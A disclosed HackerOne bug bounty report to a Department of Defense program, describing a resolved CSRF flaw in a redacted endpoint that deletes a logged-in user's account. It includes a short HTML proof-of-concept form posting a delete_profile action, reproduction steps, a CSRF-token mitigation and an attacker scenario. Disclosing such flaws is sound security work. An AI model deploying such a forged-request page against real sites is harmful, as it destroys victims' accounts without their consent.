CSRF - Delete Account (Urgent)

Disclosed: 2022-03-18 18:59:20 By ahmd_halabi To deptofdefense
Medium
Vulnerability Details
**Target Url** https://██████████/███/██████/█████████ **Summary:** Hello, I found a Cross Site Request Forgery bug in the target endpoint on the GET request `████` which is critical because it can delete authenticated user account whenever he navigates to the attacker website or link. ## Step-by-step Reproduction Instructions 1. Navigate to your account in `https://█████████/████/` 2. Copy and paste the below code in an html file ``` <html> <body> <form action="https://████/████/███/"> <input type="hidden" name="action" value="delete&#95;profile" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` 3. Open it in the browser, hit the button and your account will be deactivated. ## Suggested Mitigation/Remediation Actions Add a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not. ## Impact This action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts will be deleted.
Actions
View on HackerOne
Report Stats
  • Report ID: 799855
  • State: Closed
  • Substate: resolved
  • Upvotes: 11
Share this report